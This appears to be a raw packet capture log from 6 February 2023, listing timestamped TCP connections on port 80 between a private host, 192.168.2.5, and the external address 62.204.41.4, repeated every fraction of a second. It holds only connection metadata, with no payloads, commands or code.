Feb 6, 2023 14:16:53.632222891 CET	49741	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.691670895 CET	80	49742	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:53.694607973 CET	80	49742	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:53.694768906 CET	49742	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.850919008 CET	49742	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.851569891 CET	49743	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.911346912 CET	80	49742	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:53.911521912 CET	49742	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.913026094 CET	80	49743	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:53.913162947 CET	49743	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.921247005 CET	49743	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.982561111 CET	80	49743	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:53.985326052 CET	80	49743	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:53.985482931 CET	49743	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:54.128071070 CET	49743	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:54.129256010 CET	49744	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:54.194897890 CET	80	49743	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:54.195053101 CET	49743	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:57.311688900 CET	49744	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:57.373436928 CET	80	49744	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:57.373662949 CET	49744	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:57.374562025 CET	49744	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:57.436073065 CET	80	49744	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:57.440777063 CET	80	49744	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:57.440979958 CET	49744	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:57.548397064 CET	49744	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:57.549561024 CET	49745	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:57.610846043 CET	80	49745	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:57.611026049 CET	49745	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:57.611372948 CET	49745	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:57.611960888 CET	80	49744	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:57.612083912 CET	49744	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:57.672194958 CET	80	49745	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:57.675415993 CET	80	49745	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:57.675642967 CET	49745	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:57.781168938 CET	49745	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:57.782063961 CET	49746	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:57.842488050 CET	80	49745	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:57.842612982 CET	49745	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:57.843192101 CET	80	49746	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:57.843282938 CET	49746	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:57.847861052 CET	49746	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:57.909059048 CET	80	49746	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:57.920320988 CET	80	49746	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:57.920466900 CET	49746	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.031753063 CET	49746	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.032716036 CET	49747	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.091959000 CET	80	49747	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:58.092201948 CET	49747	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.093214035 CET	49747	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.093393087 CET	80	49746	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:58.093502045 CET	49746	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.156084061 CET	80	49747	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:58.160079002 CET	80	49747	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:58.160233974 CET	49747	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.273191929 CET	49747	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.274482012 CET	49748	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.333806992 CET	80	49747	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:58.334178925 CET	49747	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.335123062 CET	80	49748	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:58.335378885 CET	49748	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.336551905 CET	49748	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.400031090 CET	80	49748	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:58.402678013 CET	80	49748	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:58.402803898 CET	49748	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.515983105 CET	49748	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.516999960 CET	49749	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.576625109 CET	80	49748	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:58.576833010 CET	49748	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.579652071 CET	80	49749	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:58.579807997 CET	49749	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.580579996 CET	49749	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.643040895 CET	80	49749	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:58.645394087 CET	80	49749	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:58.645538092 CET	49749	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.750211954 CET	49749	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.751117945 CET	49750	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.812520027 CET	80	49750	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:58.812711954 CET	49750	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.813121080 CET	80	49749	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:58.813208103 CET	49749	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.814620018 CET	49750	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.875929117 CET	80	49750	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:58.879216909 CET	80	49750	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:58.879334927 CET	49750	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.988476038 CET	49750	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:58.989217043 CET	49751	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.050399065 CET	80	49750	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:59.050517082 CET	49750	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.050985098 CET	80	49751	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:59.051095009 CET	49751	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.053793907 CET	49751	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.114810944 CET	80	49751	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:59.119268894 CET	80	49751	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:59.119393110 CET	49751	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.237354040 CET	49751	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.246206999 CET	49752	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.298631907 CET	80	49751	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:59.298718929 CET	49751	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.308548927 CET	80	49752	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:59.308742046 CET	49752	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.309365988 CET	49752	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.370738983 CET	80	49752	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:59.375677109 CET	80	49752	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:59.375967979 CET	49752	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.484575033 CET	49752	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.485263109 CET	49753	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.546855927 CET	80	49752	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:59.547342062 CET	49752	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.547956944 CET	80	49753	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:59.548197031 CET	49753	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.551732063 CET	49753	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.616081953 CET	80	49753	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:59.619138002 CET	80	49753	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:59.619298935 CET	49753	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.737266064 CET	49753	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.737929106 CET	49754	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.800012112 CET	80	49753	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:59.800061941 CET	80	49754	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:59.800117016 CET	49753	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.800247908 CET	49754	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.800601959 CET	49754	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.862850904 CET	80	49754	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:59.865664959 CET	80	49754	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:59.865818024 CET	49754	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.968765974 CET	49754	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:59.969590902 CET	49755	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.032002926 CET	80	49754	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:00.032057047 CET	80	49755	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:00.032186031 CET	49755	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.032249928 CET	49754	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.032530069 CET	49755	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.096043110 CET	80	49755	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:00.104228020 CET	80	49755	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:00.105350018 CET	49755	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.219949007 CET	49755	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.228585005 CET	49756	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.282857895 CET	80	49755	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:00.286046982 CET	49755	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.292314053 CET	80	49756	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:00.296093941 CET	49756	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.296701908 CET	49756	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.358794928 CET	80	49756	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:00.362060070 CET	80	49756	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:00.362180948 CET	49756	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.475377083 CET	49756	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.476102114 CET	49757	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.537169933 CET	80	49757	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:00.537214041 CET	80	49756	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:00.537416935 CET	49756	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.537791014 CET	49757	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.537791014 CET	49757	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.597498894 CET	80	49757	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:00.601149082 CET	80	49757	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:00.604368925 CET	49757	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.720138073 CET	49757	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.721158981 CET	49758	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.782983065 CET	80	49757	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:00.784157038 CET	49757	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.786325932 CET	80	49758	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:00.786449909 CET	49758	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.787103891 CET	49758	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.849549055 CET	80	49758	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:00.852035046 CET	80	49758	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:00.852214098 CET	49758	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.970238924 CET	49758	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:00.971394062 CET	49759	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.032197952 CET	80	49758	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:01.032355070 CET	49758	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.034832954 CET	80	49759	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:01.035012007 CET	49759	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.035712957 CET	49759	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.098167896 CET	80	49759	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:01.102294922 CET	80	49759	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:01.104098082 CET	49759	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.227199078 CET	49759	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.228226900 CET	49760	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.288784981 CET	80	49760	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:01.289002895 CET	80	49759	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:01.289235115 CET	49759	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.289253950 CET	49760	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.327723980 CET	49760	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.388149023 CET	80	49760	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:01.400182962 CET	80	49760	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:01.400398970 CET	49760	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.516415119 CET	49760	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.517260075 CET	49761	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.577002048 CET	80	49760	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:01.577385902 CET	49760	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.579174042 CET	80	49761	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:01.579410076 CET	49761	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.580132008 CET	49761	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.644923925 CET	80	49761	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:01.646137953 CET	80	49761	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:01.646328926 CET	49761	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.751084089 CET	49761	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.752119064 CET	49762	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.813443899 CET	80	49762	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:01.813466072 CET	80	49761	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:01.813683987 CET	49761	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.814766884 CET	49762	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.814766884 CET	49762	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:01.883169889 CET	80	49762	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:01.886197090 CET	80	49762	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:01.886359930 CET	49762	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.000653028 CET	49762	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.001650095 CET	49763	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.062210083 CET	80	49762	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:02.062349081 CET	80	49763	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:02.062355042 CET	49762	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.062457085 CET	49763	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.065956116 CET	49763	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.088133097 CET	80	49761	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:02.088282108 CET	49761	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.138550043 CET	80	49763	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:02.138685942 CET	80	49763	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:02.138797998 CET	49763	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.250628948 CET	49763	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.251530886 CET	49764	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.317265987 CET	80	49763	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:02.317339897 CET	49763	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.318675041 CET	80	49764	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:02.318835974 CET	49764	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.319284916 CET	49764	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.381938934 CET	80	49764	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:02.385740995 CET	80	49764	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:02.385898113 CET	49764	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.501190901 CET	49764	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.501866102 CET	49765	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.563199997 CET	80	49765	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:02.563308954 CET	49765	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.563683033 CET	49765	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.564239979 CET	80	49764	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:02.564336061 CET	49764	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.625026941 CET	80	49765	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:02.628305912 CET	80	49765	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:02.628396034 CET	49765	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.735565901 CET	49765	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.736407995 CET	49766	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.797504902 CET	80	49765	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:02.797652006 CET	49765	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.799484968 CET	80	49766	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:02.799634933 CET	49766	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.800103903 CET	49766	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.862725973 CET	80	49766	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:02.870012999 CET	80	49766	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:02.870136976 CET	49766	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.989965916 CET	49766	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:02.990797043 CET	49767	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.052397966 CET	80	49767	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:03.052820921 CET	49767	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.053143978 CET	49767	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.053267002 CET	80	49766	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:03.053365946 CET	49766	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.114790916 CET	80	49767	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:03.120043039 CET	80	49767	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:03.120232105 CET	49767	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.235744953 CET	49767	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.237349987 CET	49768	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.298047066 CET	80	49767	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:03.298211098 CET	49767	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.300010920 CET	80	49768	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:03.300182104 CET	49768	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.301034927 CET	49768	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.363495111 CET	80	49768	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:03.366358995 CET	80	49768	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:03.366547108 CET	49768	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.469860077 CET	49768	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.470758915 CET	49769	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.537036896 CET	80	49769	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:03.537338018 CET	80	49768	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:03.537492037 CET	49768	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.540216923 CET	49769	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.541604042 CET	49769	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.601032972 CET	80	49769	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:03.604628086 CET	80	49769	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:03.604799986 CET	49769	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.720197916 CET	49769	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.722012043 CET	49770	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.780957937 CET	80	49769	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:03.781191111 CET	49769	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.784127951 CET	80	49770	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:03.784529924 CET	49770	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.784821033 CET	49770	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.849318981 CET	80	49770	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:03.849550009 CET	80	49770	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:03.849786043 CET	49770	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.954206944 CET	49770	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:03.955112934 CET	49771	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.017503977 CET	80	49771	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:04.017981052 CET	80	49770	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:04.018263102 CET	49771	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.018275023 CET	49770	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.019413948 CET	49771	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.079821110 CET	80	49771	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:04.084112883 CET	80	49771	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:04.084867001 CET	49771	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.190428972 CET	49771	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.191063881 CET	49772	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.250850916 CET	80	49771	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:04.251058102 CET	49771	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.253483057 CET	80	49772	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:04.253705978 CET	49772	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.254513979 CET	49772	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.316883087 CET	80	49772	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:04.319797039 CET	80	49772	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:04.319931984 CET	49772	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.422621965 CET	49772	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.423919916 CET	49773	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.487087011 CET	80	49773	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:04.487186909 CET	80	49772	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:04.487289906 CET	49773	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.487339020 CET	49772	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.487845898 CET	49773	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.548943996 CET	80	49773	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:04.551690102 CET	80	49773	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:04.551934958 CET	49773	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.656812906 CET	49773	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.657634974 CET	49774	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.718321085 CET	80	49773	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:04.718556881 CET	49773	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.719126940 CET	80	49774	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:04.719420910 CET	49774	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.719767094 CET	49774	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.781088114 CET	80	49774	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:04.784183979 CET	80	49774	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:04.784336090 CET	49774	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.891721964 CET	49774	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.892754078 CET	49775	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.955233097 CET	80	49774	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:04.955374002 CET	49774	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.957253933 CET	80	49775	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:04.957415104 CET	49775	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:04.965034008 CET	49775	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.030204058 CET	80	49775	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:05.031927109 CET	80	49775	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:05.032052040 CET	49775	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.145636082 CET	49775	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.146539927 CET	49776	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:05.212497950 CET	80	49775	62.204.41.4	192.168.2.5
